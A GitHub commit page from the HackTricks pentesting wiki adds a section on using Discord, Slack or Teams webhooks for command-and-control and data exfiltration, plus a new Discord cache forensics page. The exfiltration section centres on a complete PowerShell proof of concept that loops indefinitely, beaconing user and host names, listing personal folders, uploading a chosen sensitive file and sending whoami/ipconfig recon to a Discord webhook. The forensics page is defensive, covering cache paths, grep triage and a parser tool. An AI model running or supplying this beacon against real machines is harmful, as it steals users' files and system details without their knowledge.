Skip to content

Commit bbb1c72

Browse files
author
HackTricks News Bot
committed
Add content from: Discord as a C2 and the cached evidence left behind
- Remove searchindex.js (auto-generated file)
1 parent 74cc86a commit bbb1c72

5 files changed

Lines changed: 190 additions & 3 deletions

File tree

searchindex.js

Lines changed: 0 additions & 1 deletion
This file was deleted.

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,7 @@
5858
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
5959
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
6060
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
61+
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
6162
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
6263
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
6364
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)

src/generic-hacking/exfiltration.md

Lines changed: 92 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -112,6 +112,93 @@ if __name__ == "__main__":
112112
###
113113
```
114114

115+
## Webhooks (Discord/Slack/Teams) for C2 & Data Exfiltration
116+
117+
Webhooks are write-only HTTPS endpoints that accept JSON and optional file parts. They’re commonly allowed to trusted SaaS domains and require no OAuth/API keys, making them useful for low-friction beaconing and exfiltration.
118+
119+
Key ideas:
120+
- Endpoint: Discord uses https://discord.com/api/webhooks/<id>/<token>
121+
- POST multipart/form-data with a part named payload_json containing {"content":"..."} and optional file part(s) named file.
122+
- Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confirm delivery.
123+
124+
PowerShell PoC (Discord):
125+
126+
```powershell
127+
# 1) Configure webhook and optional target file
128+
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
129+
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
130+
131+
# 2) Reuse a single HttpClient
132+
$client = [System.Net.Http.HttpClient]::new()
133+
134+
function Send-DiscordText {
135+
param([string]$Text)
136+
$payload = @{ content = $Text } | ConvertTo-Json -Compress
137+
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
138+
$mp = New-Object System.Net.Http.MultipartFormDataContent
139+
$mp.Add($jsonContent, "payload_json")
140+
$resp = $client.PostAsync($webhook, $mp).Result
141+
Write-Host "[Discord] text -> $($resp.StatusCode)"
142+
}
143+
144+
function Send-DiscordFile {
145+
param([string]$Path, [string]$Name)
146+
if (-not (Test-Path $Path)) { return }
147+
$bytes = [System.IO.File]::ReadAllBytes($Path)
148+
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
149+
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
150+
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
151+
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
152+
$mp = New-Object System.Net.Http.MultipartFormDataContent
153+
$mp.Add($jsonContent, "payload_json")
154+
$mp.Add($fileContent, "file", $Name)
155+
$resp = $client.PostAsync($webhook, $mp).Result
156+
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
157+
}
158+
159+
# 3) Beacon/recon/exfil loop
160+
$ctr = 0
161+
while ($true) {
162+
$ctr++
163+
# Beacon
164+
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
165+
Send-DiscordText -Text $beacon
166+
167+
# Every 2nd: quick folder listing
168+
if ($ctr % 2 -eq 0) {
169+
$dirs = @("Documents","Desktop","Downloads","Pictures")
170+
$acc = foreach ($d in $dirs) {
171+
$p = Join-Path $env:USERPROFILE $d
172+
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
173+
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
174+
}
175+
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
176+
}
177+
178+
# Every 3rd: targeted exfil
179+
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
180+
181+
# Every 4th: basic recon
182+
if ($ctr % 4 -eq 0) {
183+
$who = whoami
184+
$ip = ipconfig | Out-String
185+
$tmp = Join-Path $env:TEMP "recon.txt"
186+
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
187+
Send-DiscordFile -Path $tmp -Name "recon.txt"
188+
}
189+
190+
Start-Sleep -Seconds 20
191+
}
192+
```
193+
194+
Notes:
195+
- Similar patterns apply to other collaboration platforms (Slack/Teams) using their incoming webhooks; adjust URL and JSON schema accordingly.
196+
- For DFIR of Discord Desktop cache artifacts and webhook/API recovery, see:
197+
198+
{{#ref}}
199+
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
200+
{{#endref}}
201+
115202
## FTP
116203

117204
### FTP server (python)
@@ -364,7 +451,10 @@ Then copy-paste the text into the windows-shell and a file called nc.exe will be
364451

365452
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
366453

367-
{{#include ../banners/hacktricks-training.md}}
368-
454+
## References
369455

456+
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
457+
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
458+
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
370459

460+
{{#include ../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -80,6 +80,12 @@ Within these directories, most user data can be found in the **Default/** or **C
8080
- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads.
8181
- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available.
8282
- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
83+
84+
Electron-based desktop apps (e.g., Discord) also use Chromium Simple Cache and leave rich on-disk artifacts. See:
85+
86+
{{#ref}}
87+
discord-cache-forensics.md
88+
{{#endref}}
8389
- **Bookmarks**: User bookmarks.
8490
- **Web Data**: Contains form history.
8591
- **Favicons**: Stores website favicons.
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
# Discord Cache Forensics (Chromium Simple Cache)
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
This page summarizes how to triage Discord Desktop cache artifacts to recover exfiltrated files, webhook endpoints, and activity timelines. Discord Desktop is an Electron/Chromium app and uses Chromium Simple Cache on disk.
6+
7+
## Where to look (Windows/macOS/Linux)
8+
9+
- Windows: %AppData%\discord\Cache\Cache_Data
10+
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
11+
- Linux: ~/.config/discord/Cache/Cache_Data
12+
13+
Key on‑disk structures inside Cache_Data:
14+
- index: Simple Cache index database
15+
- data_#: Binary cache block files that can contain multiple cached objects
16+
- f_######: Individual cached entries stored as standalone files (often larger bodies)
17+
18+
Note: Deleting messages/channels/servers in Discord does not purge this local cache. Cached items often remain and their file timestamps align with user activity, enabling timeline reconstruction.
19+
20+
## What can be recovered
21+
22+
- Exfiltrated attachments and thumbnails fetched via cdn.discordapp.com/media.discordapp.net
23+
- Images, GIFs, videos (e.g., .jpg, .png, .gif, .webp, .mp4, .webm)
24+
- Webhook URLs (https://discord.com/api/webhooks/…)
25+
- Discord API calls (https://discord.com/api/vX/…)
26+
- Helpful for correlating beaconing/exfil activity and hashing media for intel matching
27+
28+
## Quick triage (manual)
29+
30+
- Grep cache for high-signal artifacts:
31+
- Webhook endpoints:
32+
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
33+
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
34+
- Attachment/CDN URLs:
35+
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
36+
- Discord API calls:
37+
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
38+
- Sort cached entries by modified time to build a quick timeline (mtime reflects when the object hit cache):
39+
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
40+
41+
## Parsing f_* entries (HTTP body + headers)
42+
43+
Files starting with f_ contain HTTP response headers followed by the body. The header block typically ends with \r\n\r\n. Useful response headers include:
44+
- Content-Type: To infer media type
45+
- Content-Location or X-Original-URL: Original remote URL for preview/correlation
46+
- Content-Encoding: May be gzip/deflate/br (Brotli)
47+
48+
Media can be extracted by splitting headers from body and optionally decompressing based on Content-Encoding. Magic-byte sniffing is useful when Content-Type is absent.
49+
50+
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
51+
52+
- Repo: https://github.com/jwdfir/discord_cache_parser
53+
- Function: Recursively scans Discord’s cache folder, finds webhook/API/attachment URLs, parses f_* bodies, optionally carves media, and outputs HTML + CSV timeline reports with SHA‑256 hashes.
54+
55+
Example CLI usage:
56+
57+
```bash
58+
# Acquire cache (copy directory for offline parsing), then run:
59+
python3 discord_forensic_suite_cli \
60+
--cache "%AppData%\discord\Cache\Cache_Data" \
61+
--outdir C:\IR\discord-cache \
62+
--output discord_cache_report \
63+
--format both \
64+
--timeline \
65+
--extra \
66+
--carve \
67+
--verbose
68+
```
69+
70+
Key options:
71+
- --cache: Path to Cache_Data
72+
- --format html|csv|both
73+
- --timeline: Emit ordered CSV timeline (by modified time)
74+
- --extra: Also scan sibling Code Cache and GPUCache
75+
- --carve: Carve media from raw bytes near regex hits (images/video)
76+
- Output: HTML report, CSV report, CSV timeline, and a media folder with carved/extracted files
77+
78+
## Analyst tips
79+
80+
- Correlate the modified time (mtime) of f_* and data_* files with user/attacker activity windows to reconstruct a timeline.
81+
- Hash recovered media (SHA-256) and compare against known-bad or exfil datasets.
82+
- Extracted webhook URLs can be tested for liveness or rotated; consider adding them to blocklists and retro-hunting proxies.
83+
- Cache persists after “wiping” on the server side. If acquisition is possible, collect the entire Cache directory and related sibling caches (Code Cache, GPUCache).
84+
85+
## References
86+
87+
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
88+
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
89+
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
90+
91+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)